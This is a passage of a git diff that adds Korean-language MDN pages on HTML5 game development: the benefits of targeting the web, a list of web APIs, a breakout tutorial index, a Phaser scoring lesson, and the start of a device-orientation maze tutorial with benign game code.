+<h2 id="비즈니스_예시">비즈니스 예시</h2>
+
+<p>개인이든 대형 게임 제작사든 게임 개발자라면, 당신의 다음 게임 개발 프로젝트로 왜 웹을 타킷으로 설정해야 하는지 알고 싶을 것입니다. 웹이 어떻게 당신에게 도움이 될 수 있는지 알아봅시다:</p>
+
+<ol>
+ <li>
+  <div>웹의 범위는 방대하죠. 어디에든 있습니다. HTML5로 만들어진 게임은 스마트폰, 태블릿, PC, 심지어 스마트 TV에서도 작동합니다.</div>
+ </li>
+ <li>마케팅과 검색 가능성이 향상되었습니다. 다른 앱 스토어에만 국한되지 않고 어느 곳에서나 당신의 앱을 홍보할 수 있습니다. 웹 고유 특성인 링크와 공유 덕분에 새로운 고객에게 전세계 웹은 물론 다른 미디어에서도 광고나 홍보가 가능합니다.</li>
+ <li>가장 중요한것을 당신이 관리 할 수 있습니다: 바로 결제 시스템 입니다 . 당신의 게임이 다른 이의 앱 생태계에 들어있다는 이유만으로 수익의 30%를 넘겨주지 않아도 됩니다. 대신, 당신이 원하는 만큼 가격을 책정하고 원하는 결제 방식을 사용할 수 있죠.</li>
+ <li>당신이 관리 할 수 있는 더 중요한 부분이 있습니다. 당신이 원할 때 게임을 업데이트할 수 있다는 것입니다. 다른 회사의 누군가가 버그 수정을 오늘 올릴지, 내일 올릴지 결정하는 것을 숨 막히게 기다리지 않아도 됩니다.</li>
+ <li>게임에 대한 분석을 관리할 수 있다. 당신이 필요한 분석 자료에 대해 다른 누군가에게 의존하지 않아도 된다. 매출이나 게임의 영향력에 대한 정보를 모으기 위해 당신 스스로 분석 자료를 수집하거나 선호하는 서드파티를 선택할 수 있다.</li>
+ <li>고객 관계를 보다 면밀하게 관리 할 수 있습니다. 고객 피드백을 앱 스토어의 제한된 방식을 통해 받지 않아도 됩니다. 중매인이 없이 원하는 방식으로 고객과 소통하십시오. [주의: 현재 번역이 완벽하지 않습니다]</li>
+ <li>게임 플레이어들이 어디서든, 언제든지 당신의 게임을 할 수 있다. 웹이 보편적이기 때문에, 당신의 고객들은 그들의 게임 현황을 폰에서든, 타플렛에서든, 랩탑에서든, 업무용 데스크탑에서든, 혹은 어디서든 확인할 수 있다.</li>
+</ol>
+
+<h2 id="게임_개발자들을_위한_웹_기술">게임 개발자들을 위한 웹 기술</h2>
+
+<p>게임개발을 하는 우리의 개발자 친구들을 위해 게임을 실현케 하는 몇가지 API들을 알아봅시다. 여기에 웹으로 할 수 있는 간략한 리스트를 보여드리겠습니다:</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Full Screen API</a></dt>
+ <dd>이 간단한 API는 당신의 게임이 스크린 전체를 차지하도록 하여 플레이어가 집중하도록 도와줍니다.</dd>
+ <dt><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API" title="/en-US/docs/API/Gamepad/Using_Gamepad_API">Gamepad API</a></dt>
+ <dd>당신 게임의 유저가 게임패드를 사용 가능하기를 원한다면, 아니면 다른 게임 컨트롤러를 게임에 적용시키고자 한다면 이 API가 필요할 것 입니다.</dd>
+ <dt><a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a> and <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a></dt>
+ <dd>이 두 기술이 게임 개발, 스타일, 레이아웃, 유저 인터페이스를 가능하게 할것입니다. HTML중 {{HTMLElement("canvas")}} 부분은 2D 그래픽을 가능하게 하는 방법중 하나입니다.</dd>
+ <dt><a href="/en-US/docs/HTML/Element/audio" title="/en-US/docs/HTML/Element/audio">HTML audio</a></dt>
+ <dd>{{HTMLElement("audio")}} 는 쉽게 간단한 음향 효과나 음악을 가능하게 해줍니다. 이보다 더 한 음향 효과를 필요로 한다면  제대로된 오디오 프로세싱 파워를 가진 <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> 를 확인해 보세요!</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a></dt>
+ <dd>사용자 데이터를 사용자 기기에 저장시키는 강력한 데이터 저장 API 입니다. 로컬데이터로 저장하여 매번 다운로드 받을 필요 없이 게임 state와 다른 정보들 필요할 때 마다 저장 할 수 있습니다. 또한 당신의 게임이 오프라인 상에서도 실행이 가능하도록 하는데 도움이 됩니다. ( 유저가 비행모드 일 때 등등 말이죠)</dd>
+ <dt><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
+ <dd>자바스크립트, 웹 개발에 사용되는 언어, 이는 최신 브라우저에서 아주 빠르고 매번 더욱 빨라지고 있습니다. 이 강력한 언어를 당신의 게임을 위해 사용 해보시고, 현재 이미 만들어진 게임에 <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a> 혹은 <a href="http://asmjs.org/spec/latest/" title="http://asmjs.org/spec/latest/">Asm.js</a> 과같은 기술들을 사용해보세요. </dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></dt>
+ <dd>The Pointer Lock API lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user from accidentally sending their input somewhere else, thereby missing important action.</dd>
+ <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (Scalable Vector Graphics)</dt>
+ <dd>Lets you build vector graphics that scale smoothly regardless of the size or resolution of the user's display.</dd>
+ <dt><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></dt>
+ <dd>JavaScript typed arrays give you access to raw binary data from within JavaScript; this lets you manipulate GL textures, game data, or anything else, even if it's not in a native JavaScript format.</dd>
+ <dt><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></dt>
+ <dd>This API for controlling the playback, synthesis, and manipulation of audio from JavaScript code lets you create awesome sound effects as well as play and manipulate music in real time.</dd>
+ <dt><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a></dt>
+ <dd>Lets you create high-performance, hardware-accelerated 3D (and 2D) graphics from Web content. This is a Web-supported implementation of <a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a></dt>
+ <dd>The WebRTC (Real-Time Communications) API gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users. Want your players to be able to talk to each other while blowing up monsters? This is the API for you.</dd>
+ <dt><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></dt>
+ <dd>The WebSocket API lets you connect your app or site to a server to transmit data back and forth in real-time. Perfect for multiplayer gaming action, chat services, and so forth.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web Workers</a></dt>
+ <dd>Workers give you the ability to spawn background threads running their own JavaScript code, to take advantage of modern, multi-core processors.</dd>
+ <dt><a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XMLHttpRequest</a> and <a href="/en-US/docs/DOM/File_API" title="/en-US/docs/DOM/File_API">File API</a></dt>
+ <dd>The combination of XMLHttpRequest and the File API lets you send and receive any kind of data you want (don't let the "XML" throw you!) from a Web server. This is a great way to do anything from downloading new game levels and artwork to transmitting non-real-time game status information back and forth.</dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/ko/games/tutorials/2d_breakout_game_phaser/index.html b/files/ko/games/tutorials/2d_breakout_game_phaser/index.html
new file mode 100644
index 0000000000..5ef42088c5
--- /dev/null
+++ b/files/ko/games/tutorials/2d_breakout_game_phaser/index.html
@@ -0,0 +1,64 @@
+---
+title: 2D breakout game using Phaser
+slug: Games/Tutorials/2D_breakout_game_Phaser
+tags:
+  - 2D
+  - Beginner
+  - Canvas
+  - Games
+  - JavaScript
+  - NeedsTranslation
+  - Phaser
+  - TopicStub
+  - Tutorial
+  - 게임
+  - 자바스크립트
+  - 초급자
+  - 캔버스
+  - 튜토리얼
+translation_of: Games/Tutorials/2D_breakout_game_Phaser
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}}</p>
+
+<p class="summary">이 튜토리얼을 차례차례 진행하면서 우리는 HTML5 {{htmlelement("canvas")}} 로 렌더되는 순수한 JavaScript로 쓰여진 간단한 MDN 벽돌깨기 게임을 만들 것입니다.</p>
+
+<p>모든 과정은 플레이 가능하고 편집가능한 라이브 샘플을 포함하고 있습니다. 이 샘플을 통해, 여러분은 중간 스테이지들이 어떻게 보여져야 하는지 확인할 수 있습니다. 여러분은 이미지의 렌더링과 움직임, 충돌 감지, 컨트롤 메카니즘들과 승리와 패배 상태와 같은 기본적인 게임 원리들을 구현하기 위해서, {{htmlelement("canvas")}}엘리먼트의 기본적인 사용 방법을  배우게 될 것입니다.</p>
+
+<p>이 시리즈를 최대한 활용하려면 중급의 <a href="/ko/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> 지식이 있어야 합니다. 이 튜토리얼을 끝낸 후에는 여러분은 스스로 간단한 웹 게임들을 만들 수 있게 될 것입니다.</p>
+
+<p><img alt="Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives." src="https://mdn.mozillademos.org/files/10383/mdn-breakout-gameplay.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="강의_내용">강의 내용</h2>
+
+<p>모든 강의 내용과 우리가 함께 만드는 <a href="http://breakout.enclavegames.com/lesson10.html">MDN 벽돌깨기 게임</a>의 다른 버전들은 <a href="https://github.com/end3r/Canvas-gamedev-workshop">GitHub</a>에서 찾을 수 있습니다.:</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/ko-KR/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기">캔버스 생성과 그리기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball">공 움직이기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls">벽으로 부터 튕겨나오기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls">패들과 키보드 컨트롤</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">게임 오버</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">벽돌 필드 만들기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">충돌 감지</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">점수 추적과 승리</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">마우스 컨트롤</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">마무리</a></li>
+</ol>
+
+<p>웹 게임 개발의 확고한 지식을 얻기 위해 순수한 JavaScript로 시작하는 것은 최고의 방법입니다. 이후에, 여러분은 프로젝트에 프레임워크를 골라서 사용할 수도 있습니다.  프레임워크들은 JavaScript로 만들어진 툴일 뿐입니다. 따라서 여러분이 프레임워크를 사용하더라도, 프레임워크 밑에서 정확히 어떤 일이 어떤일이 일어나는지 알기 위해 언어를 배우는것은 좋은 일입니다. 프레임워크들은 개발 속도를 올려주고, 게임의 지루한 부분들을 해결하는데 도움을 줍니다. 하지만 어떤 일들이 기대한대로 일어나지 않는다면, 여러분은 디버그를 시도하거나 여러분 스스로 순수한 JavaScript로 솔루션을 작성할 수 도 있습니다.</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: 만약 여러분이 게임 라이브러리를 이용한 2D 웹 게임 개발의 학습에 흥미가 있다면,  이 시리즈의 대응 파트인 <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a>를 살펴보시기 바랍니다.</p>
+</div>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: 이 시리즈의 내용들은 게임개발 워크숍의 재료로 쓰일 수 있습니다. 또한, 만약 여러분이 게임개발에 있어 강연을 원한다면 이 튜토리얼에 기초한 <a href="https://github.com/end3r/Gamedev-Canvas-Content-Kit">Gamedev Canvas Content Kit</a>를 활용할 수 있습니다.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>좋습니다, 이제 시작하도록 합시다. 첫 번째 챕터인 <a href="https://developer.mozilla.org/ko-KR/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기">캔버스 생성과 그리기</a> 부터 시작합니다.</p>
+
+<p>{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}} </p>
diff --git a/files/ko/games/tutorials/2d_breakout_game_phaser/득점/index.html b/files/ko/games/tutorials/2d_breakout_game_phaser/득점/index.html
new file mode 100644
index 0000000000..ca79e665a1
--- /dev/null
+++ b/files/ko/games/tutorials/2d_breakout_game_phaser/득점/index.html
@@ -0,0 +1,73 @@
+---
+title: 득점
+slug: Games/Tutorials/2D_breakout_game_Phaser/득점
+tags:
+  - 게임
+  - 게임제작
+  - 득점
+  - 득점시스템
+  - 튜토리얼
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/The_score
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}</p>
+
+<div class="summary">
+<p>이것은 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser tutorial</a>의 16단계중 11번째 과정입니다. 이 과정의 소스코드를 얻고자 한다면 이 강좌를 수강한 후 <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson11.html">Gamedev-Phaser-Content-Kit/demos/lesson11.html</a>를 통해 얻으세요.</p>
+</div>
+
+<p><span class="seoSummary">점수를 얻는 방식의 게임은 좀더 재미있을 것 입니다.— 당신 또는, 친구의 최고 기록을 갈아치울수도 있습니다. 이 글에서는 우리의 게임에 득점 시스템을 추가해 보려고 합니다.</span></p>
+
+<p>우리는 점수를 저장해두기 위해 여러 변수를 사용하고, 점수를 화면에 출력하기 위해 내부의 <code>text()</code> 메소드를 사용합니다.</p>
+
+<h2 id="새로운_변수들">새로운 변수들</h2>
+
+<p>이전 정의되었던 변수들 바로 다음에 다음과 같이 새로운 변수 두개를 추가해 주세요:</p>
+
+<pre class="brush: js">// ...
+var scoreText;
+var score = 0;
+</pre>
+
+<h2 id="게임_화면에_점수가_표시_되도록_해보자">게임 화면에 점수가 표시 되도록 해보자</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">지금 </font>create()</code> 함수 뒤에 다음과 같은 코드를 추가해봅시다:</p>
+
+<pre class="brush: js">scoreText = game.add.text(5, 5, 'Points: 0', { font: '18px Arial', fill: '#0095DD' });
+</pre>
+
+<p><code>text()</code> 메소드는 4개의 변수를 가질수 있습니다:</p>
+
+<ul>
+ <li>x와 y 좌표값 자리에 글자를 그려냅니다.</li>
+ <li>실제 글자가 나타날 것입니다.</li>
+ <li>폰트도 글자와 함께 나타날 것입니다.</li>
+</ul>
+
+<p>마지막 변수는 CSS와 매우 비슷해 보입니다. 우리의 점수는 파란색에, 18픽셀 크기이며, Arial 폰트를 사용하여 나타날 것입니다.</p>
+
+<h2 id="블록이_무너지면_점수를_갱신합니다.">블록이 무너지면 점수를 갱신합니다.</h2>
+
+<p>우리는 공이 블록을 칠때마다 점수를 증가시킵니다 그리고 공이 블록을 칠때마다 동시에 <font face="Consolas, Liberation Mono, Courier, monospace">점수판을 갱신하여 화면에 현재 점수를 나타낼 것입니다.</font> 이건 <code>setText()매소드를 써서 해결 할수 있습니다</code> — <code>ballHitBrick()</code> 함수 아래로 다음과 같은 새로운 코드 두 줄을 추가하세요:</p>
+
+<pre class="brush: js">function ballHitBrick(ball, brick) {
+    brick.kill();
+    score += 10;
+    scoreText.setText('Points: '+score);
+}
+</pre>
+
+<p>됬습니다, — <code>index.html</code> 을 다시 새로고침 해주고 공이 블록을 칠때마다 점수가 갱신되는지 확인해줍니다.</p>
+
+<h2 id="코드를_비교해보세요">코드를 비교해보세요</h2>
+
+<p>이번 강좌에서 배운 득점 시스템이 어떻게 작동하는지 이해하고자 한다면, 다음 아래를 이용해 시연해보세요.:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/n8o6rhrf/","","400")}}</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>우리는 이제 득점 시스템을 게임에 추가했습니다. 그러나 게임에서 이길 수 없다면, 게임하면서 득점하는게 무슨 소용일까요? 그래서 승리 상태를 추가해보려고 합니다. 게임에서 이기게 하고 싶다면 다음으로 넘어갑시다: <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Win_the_game">win the game</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}</p>
diff --git a/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html
new file mode 100644
index 0000000000..63eb9a73a4
--- /dev/null
+++ b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html
@@ -0,0 +1,447 @@
+---
+title: 2D maze game with device orientation
+slug: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation
+translation_of: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}} </div>
+
+<div class="summary">
+<p>In this tutorial we’ll go through the process of building an HTML5 mobile game that uses the <a href="https://developer.mozilla.org/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Device Orientation</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration">Vibration</a><strong> APIs</strong> to enhance the gameplay and is built using the <a class="external external-icon" href="http://phaser.io/">Phaser</a> framework. Basic JavaScript knowledge is recommended to get the most from this tutorial.</p>
+</div>
+
+<h2 id="Example_game">Example game</h2>
+
+<p>By the end of the tutorial you will have a fully functional demo game: <a href="https://orb.enclavegames.com/">Cyber Orb</a>. It will look something like this:</p>
+
+<p><img alt="A 2D game board featuring a small yellow ball. There is a large black hole for the ball to escape down, and a number of barriers blocking the ball from escaping." src="https://mdn.mozillademos.org/files/10297/cyber-orb.png" style="display: block; height: 450px; margin: 0px auto; width: 300px;"></p>
+
+<h2 id="Phaser_framework">Phaser framework</h2>
+
+<p><a href="http://phaser.io/">Phaser</a> is a framework for building desktop and mobile HTML5 games. It’s quite new, but growing rapidly thanks to the passionate community involved in the development process. You can check it out <a href="https://github.com/photonstorm/phaser">on GitHub</a> where it’s open sourced, read the <a href="http://docs.phaser.io/">online documentation</a> and go through the big collection of <a href="http://examples.phaser.io/">examples</a>. The Phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.</p>
+
+<h2 id="Starting_with_the_project">Starting with the project</h2>
+
+<p>You can see <a href="https://github.com/EnclaveGames/Cyber-Orb">Cyber Orb source code</a> on GitHub. The folder structure is quite straightforward: the starting point is the <code>index.html</code> file where we initialize the framework and set up an {{htmlelement("canvas")}} to render the game on.</p>
+
+<p><img alt="Screenshot of the GitHub repository with the Cyber Orb game code, listing the folders and the files in the main structure." src="https://mdn.mozillademos.org/files/10357/cyber-orb-github.png" style="height: 423px; width: 620px;"></p>
+
+<p>You can open the index file in your favourite browser to launch the game and try it. There are also three folders in the directory:</p>
+
+<ul>
+ <li><code>img</code>: All the images that we will use in the game.</li>
+ <li><code>src</code>: The JavaScript files with all the source code of the game defined inside.</li>
+ <li><code>audio:</code> The sound files used in the game.</li>
+</ul>
+
+<h2 id="Setting_up_the_Canvas">Setting up the Canvas</h2>
+
+<p>We will be rendering our game on Canvas, but we won't do it manually — this will be taken care of by the framework. Let’s set it up: our starting point is the <code>index.html</code> file with the following content. You can create this yourself if you want to follow along:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8" /&gt;
+    &lt;title&gt;Cyber Orb demo&lt;/title&gt;
+    &lt;style&gt; body { margin: 0; background: #333; } &lt;/style&gt;
+    &lt;script src="src/phaser-arcade-physics.2.2.2.min.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Boot.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Preloader.js"&gt;&lt;/script&gt;
+    &lt;script src="src/MainMenu.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Howto.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Game.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;script&gt;
+(function() {
+    var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+    game.state.add('Boot', Ball.Boot);
+    game.state.add('Preloader', Ball.Preloader);
+    game.state.add('MainMenu', Ball.MainMenu);
+    game.state.add('Howto', Ball.Howto);
+    game.state.add('Game', Ball.Game);
+    game.state.start('Boot');
+})();
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>So far we have a simple HTML website with some basic content in the <code>&lt;head&gt;</code> section: charset, title, CSS styling and the inclusion of the JavaScript files. The <code>&lt;body&gt;</code> contains initialization of the Phaser framework and the definitions of the game states.</p>
+
+<pre class="brush: js">var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');</pre>
+
+<p>The line above will initialize the Phaser instance — the arguments are the width of the Canvas, height of the Canvas, rendering method (we're using <code>CANVAS</code>, but there are also <code>WEBGL</code> and <code>AUTO</code> options available) and the optional ID of the DOM container we want to put the Canvas in. If there's nothing specified in that last argument or the element is not found, the Canvas will be added to the &lt;body&gt; tag. Without the framework, to add the Canvas element to the page, you would have to write something like this inside the &lt;body&gt; tag:</p>
+
+<pre class="brush: html">&lt;canvas id='game' width='320' height='480'&gt;&lt;/canvas&gt;</pre>
+
+<p>The important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can read the <a href="http://gamedevelopment.tutsplus.com/tutorials/getting-started-with-phaser-building-monster-wants-candy--cms-21723">Building Monster Wants Candy</a> article for the in-depth introduction to the basic Phaser-specific functions and methods.</p>
+</div>
+
+<p>Back to game states: the line below is adding a new state called <code>Boot</code> to the game:</p>
+
+<pre class="brush: html">game.state.add('Boot', Ball.Boot);</pre>
+
+<p>The first value is the name of the state and the second one is the object we want to assign to it. The <code>start</code> method is starting the given state and making it active. Let's see what the states are actually.</p>
+
+<h2 id="Managing_game_states">Managing game states</h2>
+
+<p>The states in Phaser are separate parts of the game logic; in our case we’re loading them from independent JavaScript files for better maintainability. The basic states used in this game are: <code>Boot</code>, <code>Preloader</code>, <code>MainMenu</code>, <code>Howto</code> and <code>Game</code>. <code>Boot</code> will take care of initializing a few settings, <code>Preloader</code> will load all of the assets like graphics and audio, <code>MainMenu</code> is the menu with the start button, <code>Howto</code> shows the "how to play" instructions and the <code>Game</code> state lets you actually play the game. Let's quickly go though the content of those states.</p>
+
+<h3 id="Boot.js">Boot.js</h3>
+
+<p>The <code>Boot</code> state is the first one in the game.</p>
+
+<pre class="brush: js">var Ball = {
+    _WIDTH: 320,
+    _HEIGHT: 480
+};
+Ball.Boot = function(game) {};
+Ball.Boot.prototype = {
+    preload: function() {
+        this.load.image('preloaderBg', 'img/loading-bg.png');
+        this.load.image('preloaderBar', 'img/loading-bar.png');
+    },
+    create: function() {
+        this.game.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
+        this.game.scale.pageAlignHorizontally = true;
+        this.game.scale.pageAlignVertically = true;
+        this.game.state.start('Preloader');
+    }
+};</pre>
+
+<p>The main <code>Ball</code> object is defined and we're adding two variables called <code>_WIDTH</code> and <code>_HEIGHT</code> that are the width and the height of the game Canvas — they will help us position the elements on the screen. We're loading two images first that will be used later in the <code>Preload</code> state to show the progress of loading all the other assets. The <code>create</code> function holds some basic configuration: we're setting up the scaling and alignment of the Canvas, and moving on to the <code>Preload</code> state when everything's ready.</p>
+
+<h3 id="Preloader.js">Preloader.js</h3>
+
+<p>The <code>Preloader</code> state takes care of loading all the assets:</p>
+
+<pre class="brush: js">Ball.Preloader = function(game) {};
+Ball.Preloader.prototype = {
+    preload: function() {
+        this.preloadBg = this.add.sprite((Ball._WIDTH-297)*0.5, (Ball._HEIGHT-145)*0.5, 'preloaderBg');
+        this.preloadBar = this.add.sprite((Ball._WIDTH-158)*0.5, (Ball._HEIGHT-50)*0.5, 'preloaderBar');
+        this.load.setPreloadSprite(this.preloadBar);
+
+        this.load.image('ball', 'img/ball.png');
+        // ...
+        this.load.spritesheet('button-start', 'img/button-start.png', 146, 51);
+        // ...
+        this.load.audio('audio-bounce', ['audio/bounce.ogg', 'audio/bounce.mp3', 'audio/bounce.m4a']);
+    },
+    create: function() {
+        this.game.state.start('MainMenu');
+    }
+};</pre>
+
+<p>There are single images, spritesheets and audio files loaded by the framework. In this state the <code>preloadBar</code> is showing the progress on the screen. That progress of the loaded assets is visualized by the framework with the use of one image. With every asset loaded you can see more of the <code>preloadBar</code> image: from 0% to 100%, updated on every frame. After all the assets are loaded, the <code>MainMenu</code> state is launched.</p>
+
+<h3 id="MainMenu.js">MainMenu.js</h3>
+
+<p>The <code>MainMenu</code> state shows the main menu of the game, where you can start playing by clicking the button.</p>
+
+<pre class="brush: js">Ball.MainMenu = function(game) {};
+Ball.MainMenu.prototype = {
+    create: function() {
+        this.add.sprite(0, 0, 'screen-mainmenu');
+        this.gameTitle = this.add.sprite(Ball._WIDTH*0.5, 40, 'title');
+        this.gameTitle.anchor.set(0.5,0);
+        this.startButton = this.add.button(Ball._WIDTH*0.5, 200, 'button-start', this.startGame, this, 2, 0, 1);
+        this.startButton.anchor.set(0.5,0);
+        this.startButton.input.useHandCursor = true;
+    },
+    startGame: function() {
+        this.game.state.start('Howto');
+    }
+};</pre>
+
+<p>To create a new button there's <code>add.button</code> method with the following list of optional arguments:</p>
+
+<ul>
+ <li>Top absolute position on Canvas in pixels.</li>
+ <li>Left absolute position on Canvas in pixels.</li>
+ <li>Name of the image asset the button is using.</li>
+ <li>Function that will be executed when someone clicks the button.</li>
+ <li>The execution context.</li>
+ <li>Frame from the image asset used as the button's "hover" state.</li>
+ <li>Frame from the image asset used as the button's "normal" or "out" state.</li>
+ <li>Frame from the image asset used as the button's "click" or "down" state.</li>
+</ul>
+
+<p>The <code>anchor.set</code> is setting up the anchor point on the button for which all the calculations of the position are applied. In our case it's anchored half the way from the left edge and at the start of the top edge, so it can be easily horizontally centered on the screen without the need to know its width.</p>
+
+<p>When the start button is pressed, instead of jumping directly into the action the game will show the screen with the information on how to play the game.</p>
+
+<h3 id="Howto.js">Howto.js</h3>
+
+<pre class="brush: js">Ball.Howto = function(game) {
+};
+Ball.Howto.prototype = {
+    create: function() {
+        this.buttonContinue = this.add.button(0, 0, 'screen-howtoplay', this.startGame, this);
+    },
+    startGame: function() {
+        this.game.state.start('Game');
+    }
+};</pre>
+
+<p>The <code>Howto</code> state shows the gameplay instructions on the screen before starting the game. After clicking the screen the actual game is launched.</p>
+
+<h3 id="Game.js">Game.js</h3>
+
+<p>The <code>Game</code> state from the <code>Game.js</code> file is where all the magic happens. All the initialization is in the <code>create()</code> function (launched once at the beginning of the game). After that some functionality will require further code to control — we will write our own functions to handle more complicated tasks. In particular, take note of the <code>update()</code> function (executed at every frame), which updates things such as the ball position.</p>
+
+<pre class="brush: js">Ball.Game = function(game) {};
+Ball.Game.prototype = {
+    create: function() {},
+    initLevels: function() {},
+    showLevel: function(level) {},
+    updateCounter: function() {},
+    managePause: function() {},
+    manageAudio: function() {},
+    update: function() {},
+    wallCollision: function() {},
+    handleOrientation: function(e) {},
+    finishLevel: function() {}
+};</pre>
+
+<p>The <code>create</code> and <code>update</code> functions are framework-specific, while others will be our own creations:</p>
+
+<ul>
+ <li><code>initLevels</code> initializes the level data.</li>
+ <li><code>showLevel</code> prints the level data on the screen.</li>
+ <li><code>updateCounter</code> updates the time spent playing each level and records the total time spent playing the game..</li>
+ <li><code>managePause</code> pauses and resumes the game.</li>
+ <li><code>manageAudio</code> turns the audio on and off.</li>
+ <li><code>wallCollision</code> is executed when the ball hits the walls or other objects.</li>
+ <li><code>handleOrientation</code> is the function bound to the event responsible for the Device Orientation API, providing the motion controls when the game is running on a mobile device with appropriate hardware.</li>
